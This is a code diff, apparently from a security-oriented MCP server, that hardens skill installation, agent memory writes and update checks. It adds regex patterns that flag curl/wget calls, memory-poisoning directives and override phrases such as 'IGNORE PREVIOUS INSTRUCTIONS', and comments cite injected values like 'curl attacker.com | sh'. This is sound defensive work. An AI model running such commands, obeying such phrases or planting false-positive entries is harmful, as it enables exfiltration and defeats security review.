/\bcurl\s+https?:\/\/(?!raw\.githubusercontent\.com)/i,
|
|
546
|
+
/\bwget\s+https?:\/\/(?!raw\.githubusercontent\.com)/i,
|
|
547
|
+
// Memory poisoning directives
|
|
548
|
+
/write_agent_memory.*false.?positive/i,
|
|
549
|
+
/add.*false.?positive.*finding/i,
|
|
550
|
+
// Meta-prompt takeover markers
|
|
551
|
+
/<\s*system\s*>/i,
|
|
552
|
+
/IGNORE\s+PREVIOUS\s+INSTRUCTIONS/i,
|
|
553
|
+
/IGNORE\s+ALL\s+PRIOR/i,
|
|
554
|
+
/DISREGARD\s+PREVIOUS/i,
|
|
555
|
+
];
|
|
556
|
+
/**
|
|
557
|
+
* Sanitizes downloaded SKILL.md content by removing lines that match known
|
|
558
|
+
* backdoor / prompt-injection patterns. Throws if more than 10 % of lines are
|
|
559
|
+
* stripped (indicates the skill file itself may be malicious).
|
|
560
|
+
*/
|
|
561
|
+
function sanitizeSkillContent(content, skillName) {
|
|
562
|
+
const lines = content.split("\n");
|
|
563
|
+
const stripped = [];
|
|
564
|
+
const clean = lines.filter((line, idx) => {
|
|
565
|
+
const isMalicious = SKILL_BACKDOOR_PATTERNS.some((re) => re.test(line));
|
|
566
|
+
if (isMalicious)
|
|
567
|
+
stripped.push(idx + 1);
|
|
568
|
+
return !isMalicious;
|
|
569
|
+
});
|
|
570
|
+
if (stripped.length > 0) {
|
|
571
|
+
console.warn(`[ensureSkill] Stripped ${stripped.length} suspicious line(s) from "${skillName}" SKILL.md ` +
|
|
572
|
+
`(lines: ${stripped.join(", ")}). Review the source file.`);
|
|
573
|
+
}
|
|
574
|
+
// If more than 10 % of lines were stripped, the file is likely malicious — refuse install.
|
|
575
|
+
const strippedFraction = stripped.length / Math.max(lines.length, 1);
|
|
576
|
+
if (strippedFraction > 0.10) {
|
|
577
|
+
throw new Error(`SKILL.md for "${skillName}" was rejected: ${stripped.length}/${lines.length} lines ` +
|
|
578
|
+
`matched backdoor patterns (>${Math.round(strippedFraction * 100)}% threshold). ` +
|
|
579
|
+
`Do not install this skill.`);
|
|
580
|
+
}
|
|
581
|
+
return clean.join("\n");
|
|
582
|
+
}
|
|
367
583
|
export const EnsureSkillSchema = z.object({
|
|
368
584
|
skillName: z.string().describe("Name of the skill to ensure is installed (e.g. 'threat-modeler')."),
|
|
369
585
|
version: z.string().optional().describe("Required version; re-downloads if installed version differs.")
|
|
@@ -383,7 +599,22 @@ export async function ensureSkill(args) {
|
|
|
383
599
|
if (alreadyCurrent) {
|
|
384
600
|
return { downloaded: false, version: installed.version, path: skillPath };
|
|
385
601
|
}
|
|
386
|
-
//
|
|
602
|
+
// TRUST ROOT: prefer the skill bundled inside the installed package over the network.
|
|
603
|
+
// No download, no manifest, no TOFU — the consumer already trusts the installed package.
|
|
604
|
+
const bundledPath = join(BUNDLED_SKILLS_DIR, skillName, "SKILL.md");
|
|
605
|
+
if (existsSync(bundledPath)) {
|
|
606
|
+
const sanitized = sanitizeSkillContent(readFileSync(bundledPath, "utf-8"), skillName);
|
|
607
|
+
mkdirSync(dirname(skillPath), { recursive: true, mode: 0o700 });
|
|
608
|
+
const tmp = `${skillPath}.tmp.${process.pid}`;
|
|
609
|
+
writeFileSync(tmp, sanitized, { encoding: "utf-8", mode: 0o600 });
|
|
610
|
+
renameSync(tmp, skillPath);
|
|
611
|
+
const bundledVersion = requiredVersion ?? "bundled";
|
|
612
|
+
versions[skillName] = { version: bundledVersion, installedAt: new Date().toISOString(), path: skillPath };
|
|
613
|
+
mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true, mode: 0o700 });
|
|
614
|
+
writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
|
|
615
|
+
return { downloaded: false, version: bundledVersion, path: skillPath };
|
|
616
|
+
}
|
|
617
|
+
// Fallback (skill not bundled): fetch from the manifest with mandatory integrity check.
|
|
387
618
|
const manifestRaw = await httpsGet(SKILLS_MANIFEST_URL, MAX_MANIFEST_BYTES);
|
|
388
619
|
if (!manifestRaw) {
|
|
389
620
|
throw new Error(`Cannot fetch skills manifest — check internet connection or run with internet permitted.`);
|
|
@@ -402,26 +633,31 @@ export async function ensureSkill(args) {
|
|
|
402
633
|
if (!content) {
|
|
403
634
|
throw new Error(`Failed to download SKILL.md for "${skillName}" from ${entry.url}`);
|
|
404
635
|
}
|
|
405
|
-
// CWE-494: verify SHA-256 of downloaded skill content against manifest hash
|
|
636
|
+
// CWE-494: verify SHA-256 of downloaded skill content against manifest hash.
|
|
637
|
+
// sha256 is MANDATORY — reject any manifest entry that omits it. An absent sha256
|
|
638
|
+
// field is itself an attack vector (allows content substitution without detection).
|
|
406
639
|
const actualHash = createHash("sha256").update(content, "utf-8").digest("hex");
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
}
|
|
640
|
+
const expectedHash = entry.sha256;
|
|
641
|
+
if (!expectedHash) {
|
|
642
|
+
throw new Error(`Integrity check failed for skill "${skillName}": manifest entry has no sha256 field. ` +
|
|
643
|
+
`All skill entries must include a sha256 hash. Refusing to install.`);
|
|
412
644
|
}
|
|
413
|
-
|
|
414
|
-
|
|
645
|
+
if (actualHash !== expectedHash) {
|
|
646
|
+
throw new Error(`Integrity check failed for skill "${skillName}": expected ${expectedHash}, got ${actualHash}`);
|
|
415
647
|
}
|
|
648
|
+
// POC-7 fix: sanitize SKILL.md content before writing to disk.
|
|
649
|
+
// Strip instruction patterns that would cause the agent to re-invoke ensure_skill
|
|
650
|
+
// on every run (persistence backdoor) or exfiltrate data to external URLs.
|
|
651
|
+
const sanitized = sanitizeSkillContent(content, skillName);
|
|
416
652
|
// Write skill atomically (write to temp, then rename) to prevent partial-write corruption
|
|
417
|
-
mkdirSync(dirname(skillPath), { recursive: true });
|
|
653
|
+
mkdirSync(dirname(skillPath), { recursive: true, mode: 0o700 });
|
|
418
654
|
const tmpSkillPath = `${skillPath}.tmp.${process.pid}`;
|
|
419
|
-
writeFileSync(tmpSkillPath,
|
|
655
|
+
writeFileSync(tmpSkillPath, sanitized, { encoding: "utf-8", mode: 0o600 });
|
|
420
656
|
renameSync(tmpSkillPath, skillPath);
|
|
421
657
|
// Update version cache
|
|
422
658
|
versions[skillName] = { version: entry.version, installedAt: new Date().toISOString(), path: skillPath };
|
|
423
|
-
mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true });
|
|
424
|
-
writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", "utf-8");
|
|
659
|
+
mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true, mode: 0o700 });
|
|
660
|
+
writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
|
|
425
661
|
return { downloaded: true, version: entry.version, path: skillPath };
|
|
426
662
|
}
|
|
427
663
|
// 5. read_agent_memory
|
|
@@ -446,14 +682,26 @@ export async function readAgentMemory(args) {
|
|
|
446
682
|
}
|
|
447
683
|
// 6. write_agent_memory
|
|
448
684
|
// ---------------------------------------------------------------------------
|
|
685
|
+
// CWE-20: typed schema for false-positive entries — prevents arbitrary suppression payloads
|
|
686
|
+
const FalsePositiveEntrySchema = z.object({
|
|
687
|
+
findingId: z.string().min(1).max(128).regex(/^[A-Z0-9_-]+$/, "findingId must be UPPER_SNAKE_CASE"),
|
|
688
|
+
reason: z.string().min(1).max(500),
|
|
689
|
+
affectedFiles: z.array(z.string().max(256)).max(50).optional(),
|
|
690
|
+
suppressUntil: z.string().datetime().optional(),
|
|
691
|
+
addedBy: z.literal("agent").describe("Only agents may add false-positive entries; blocks attacker-injected 'addedBy' fields")
|
|
692
|
+
});
|
|
693
|
+
// CWE-400: cap on individual memory entries to prevent disk exhaustion
|
|
694
|
+
const MAX_MEMORY_ITEMS = 500;
|
|
695
|
+
const MAX_PATTERN_ITEM_LENGTH = 2048; // characters per pattern string item
|
|
696
|
+
const MAX_INTEL_BYTES = 65536; // 64 KB
|
|
449
697
|
export const WriteAgentMemorySchema = z.object({
|
|
450
698
|
agentName: z.string().describe("Agent name whose memory to update."),
|
|
451
699
|
data: z.object({
|
|
452
|
-
patterns: z.array(z.
|
|
453
|
-
falsePositives: z.array(
|
|
454
|
-
remediations: z.array(z.
|
|
700
|
+
patterns: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional(),
|
|
701
|
+
falsePositives: z.array(FalsePositiveEntrySchema).max(MAX_MEMORY_ITEMS).optional(),
|
|
702
|
+
remediations: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional(),
|
|
455
703
|
intel: z.unknown().optional(),
|
|
456
|
-
errors: z.array(z.
|
|
704
|
+
errors: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional()
|
|
457
705
|
})
|
|
458
706
|
});
|
|
459
707
|
export async function writeAgentMemory(args) {
|
|
@@ -463,14 +711,19 @@ export async function writeAgentMemory(args) {
|
|
|
463
711
|
throw new Error(`Invalid agent name "${agentName}"`);
|
|
464
712
|
}
|
|
465
713
|
const dir = join(MEMORY_DIR, agentName);
|
|
466
|
-
mkdirSync(dir, { recursive: true });
|
|
714
|
+
mkdirSync(dir, { recursive: true, mode: 0o700 });
|
|
467
715
|
const written = [];
|
|
468
716
|
const append = (file, newItems, existing) => {
|
|
469
717
|
if (!newItems?.length)
|
|
470
718
|
return;
|
|
471
|
-
|
|
719
|
+
// CWE-400: cap total entries to prevent disk exhaustion
|
|
720
|
+
const merged = [...existing, ...newItems].slice(-MAX_MEMORY_ITEMS);
|
|
721
|
+
const serialized = JSON.stringify(merged, null, 2) + "\n";
|
|
722
|
+
if (Buffer.byteLength(serialized, "utf-8") > MAX_INTEL_BYTES) {
|
|
723
|
+
throw new Error(`Memory file "${file}" would exceed 64 KB size cap after write — trim existing entries first.`);
|
|
724
|
+
}
|
|
472
725
|
const p = join(dir, file);
|
|
473
|
-
writeFileSync(p,
|
|
726
|
+
writeFileSync(p, serialized, { encoding: "utf-8", mode: 0o600 });
|
|
474
727
|
written.push(p);
|
|
475
728
|
};
|
|
476
729
|
append("patterns.json", data.patterns, readJson(join(dir, "patterns.json"), []));
|
|
@@ -484,7 +737,12 @@ export async function writeAgentMemory(args) {
|
|
|
484
737
|
const intelObj = (typeof data.intel === "object" && data.intel !== null)
|
|
485
738
|
? Object.fromEntries(Object.entries(data.intel).filter(([k]) => !PROTO_KEYS.has(k)))
|
|
486
739
|
: {};
|
|
487
|
-
|
|
740
|
+
const intelPayload = JSON.stringify({ ...intelObj, fetchedAt: new Date().toISOString() }, null, 2) + "\n";
|
|
741
|
+
// CWE-400: reject intel blobs over 64 KB
|
|
742
|
+
if (Buffer.byteLength(intelPayload, "utf-8") > MAX_INTEL_BYTES) {
|
|
743
|
+
throw new Error(`Intel payload exceeds 64 KB size cap (${Buffer.byteLength(intelPayload, "utf-8")} bytes).`);
|
|
744
|
+
}
|
|
745
|
+
writeFileSync(p, intelPayload, { encoding: "utf-8", mode: 0o600 });
|
|
488
746
|
written.push(p);
|
|
489
747
|
}
|
|
490
748
|
return { written };
|
|
@@ -494,43 +752,57 @@ export async function writeAgentMemory(args) {
|
|
|
494
752
|
export const CheckUpdatesSchema = z.object({
|
|
495
753
|
currentMcpVersion: z.string().describe("Currently installed security-mcp version (from package.json).")
|
|
496
754
|
});
|
|
497
|
-
|
|
498
|
-
|
|
499
|
-
// Check npm for MCP update
|
|
500
|
-
let latestMcpVersion = null;
|
|
755
|
+
/** Fetch and validate the latest security-mcp version from npm. Returns null on failure. */
|
|
756
|
+
async function fetchLatestMcpVersion() {
|
|
501
757
|
const npmRaw = await httpsGet(NPM_REGISTRY_URL, MAX_NPM_BYTES, 3000);
|
|
502
|
-
if (npmRaw)
|
|
503
|
-
|
|
504
|
-
|
|
505
|
-
|
|
506
|
-
|
|
758
|
+
if (!npmRaw)
|
|
759
|
+
return null;
|
|
760
|
+
try {
|
|
761
|
+
const parsed = JSON.parse(npmRaw).version ?? null;
|
|
762
|
+
// CWE-20: reject malformed version strings — a MitM could return a crafted
|
|
763
|
+
// version like "1.0.0 && curl attacker.com | sh" to inject shell commands.
|
|
764
|
+
if (parsed && SEMVER_RE.test(parsed))
|
|
765
|
+
return parsed;
|
|
766
|
+
if (parsed)
|
|
767
|
+
console.warn(`[checkUpdates] Ignoring malformed version string from npm registry: ${JSON.stringify(parsed)}`);
|
|
507
768
|
}
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
769
|
+
catch { /* ignore parse error */ }
|
|
770
|
+
return null;
|
|
771
|
+
}
|
|
772
|
+
/** Fetch the skills manifest and return a list of skills that have a newer version. */
|
|
773
|
+
async function fetchSkillUpdates(versions) {
|
|
511
774
|
const manifestRaw = await httpsGet(SKILLS_MANIFEST_URL, MAX_MANIFEST_BYTES, 3000);
|
|
512
|
-
if (manifestRaw)
|
|
513
|
-
|
|
514
|
-
|
|
515
|
-
|
|
516
|
-
|
|
517
|
-
|
|
518
|
-
|
|
519
|
-
}
|
|
520
|
-
|
|
521
|
-
}
|
|
522
|
-
catch { /* ignore */ }
|
|
775
|
+
if (!manifestRaw)
|
|
776
|
+
return [];
|
|
777
|
+
try {
|
|
778
|
+
const manifest = JSON.parse(manifestRaw);
|
|
779
|
+
return Object.entries(manifest.skills).flatMap(([name, entry]) => {
|
|
780
|
+
const current = versions[name]?.version;
|
|
781
|
+
return current && current !== entry.version
|
|
782
|
+
? [{ skillName: name, currentVersion: current, latestVersion: entry.version }]
|
|
783
|
+
: [];
|
|
784
|
+
});
|
|
523
785
|
}
|
|
786
|
+
catch { /* ignore parse error */ }
|
|
787
|
+
return [];
|
|
788
|
+
}
|
|
789
|
+
export async function checkUpdates(args) {
|
|
790
|
+
const { currentMcpVersion } = args;
|
|
791
|
+
const versions = readJson(SKILL_VERSIONS_PATH, {});
|
|
792
|
+
const [latestMcpVersion, skillUpdates] = await Promise.all([
|
|
793
|
+
fetchLatestMcpVersion(),
|
|
794
|
+
fetchSkillUpdates(versions)
|
|
795
|
+
]);
|
|
524
796
|
const hasUpdate = (latestMcpVersion !== null && latestMcpVersion !== currentMcpVersion) ||
|
|
525
797
|
skillUpdates.length > 0;
|
|
526
|
-
|
|
798
|
+
const changelogParts = [];
|
|
527
799
|
if (latestMcpVersion && latestMcpVersion !== currentMcpVersion) {
|
|
528
|
-
|
|
800
|
+
changelogParts.push(`security-mcp: ${currentMcpVersion} → ${latestMcpVersion}`);
|
|
529
801
|
}
|
|
530
802
|
if (skillUpdates.length > 0) {
|
|
531
|
-
|
|
803
|
+
changelogParts.push(`Skills with updates: ${skillUpdates.map((s) => s.skillName).join(", ")}`);
|
|
532
804
|
}
|
|
533
|
-
return { hasUpdate, currentMcpVersion, latestMcpVersion, skillUpdates, changelog };
|
|
805
|
+
return { hasUpdate, currentMcpVersion, latestMcpVersion, skillUpdates, changelog: changelogParts.join("\n") };
|
|
534
806
|
}
|
|
535
807
|
// 8. apply_updates (returns instructions for the SKILL.md to surface to user)
|
|
536
808
|
// ---------------------------------------------------------------------------
|
|
@@ -544,11 +816,27 @@ export async function applyUpdates(args) {
|
|
|
544
816
|
const { choice, latestMcpVersion, skillUpdates } = args;
|
|
545
817
|
const commands = [];
|
|
546
818
|
if (latestMcpVersion) {
|
|
819
|
+
// CWE-20 / TM-004: latestMcpVersion is caller-supplied (not guaranteed to come from
|
|
820
|
+
// fetchLatestMcpVersion which validates against SEMVER_RE). A compromised npm
|
|
821
|
+
// registry response or a direct MCP call could inject shell metacharacters into the
|
|
822
|
+
// command string. Even though applyUpdates only *returns* commands (never execs them),
|
|
823
|
+
// a crafted string like "1.0.0; curl attacker.com|sh" would be surfaced to the user
|
|
824
|
+
// for copy-paste execution. Reject non-semver versions defensively.
|
|
825
|
+
if (!SEMVER_RE.test(latestMcpVersion)) {
|
|
826
|
+
throw new Error(`applyUpdates: latestMcpVersion "${latestMcpVersion}" is not a valid semver string. ` +
|
|
827
|
+
`Refusing to generate update commands to prevent command injection.`);
|
|
828
|
+
}
|
|
547
829
|
commands.push(`npm install -g security-mcp@${latestMcpVersion}`);
|
|
548
830
|
commands.push(`security-mcp install`);
|
|
549
831
|
}
|
|
550
832
|
if (skillUpdates?.length) {
|
|
551
|
-
|
|
833
|
+
// CWE-20: validate skillName before interpolating into command strings
|
|
834
|
+
const safeSkills = skillUpdates.filter((s) => SAFE_SKILL_NAME_RE.test(s.skillName));
|
|
835
|
+
const rejectedCount = skillUpdates.length - safeSkills.length;
|
|
836
|
+
if (rejectedCount > 0) {
|
|
837
|
+
console.warn(`[applyUpdates] Rejected ${rejectedCount} skill(s) with unsafe names.`);
|
|
838
|
+
}
|
|
839
|
+
commands.push(`# Re-download updated skills (handled automatically next time /ciso-orchestrator runs)`, ...safeSkills.map((s) => `# skill: ${s.skillName} will be refreshed via orchestration.ensure_skill`));
|
|
552
840
|
}
|
|
553
841
|
const message = choice === "auto"
|
|
554
842
|
? `Run the following commands to update:\n${commands.filter((c) => !c.startsWith("#")).join("\n")}`
|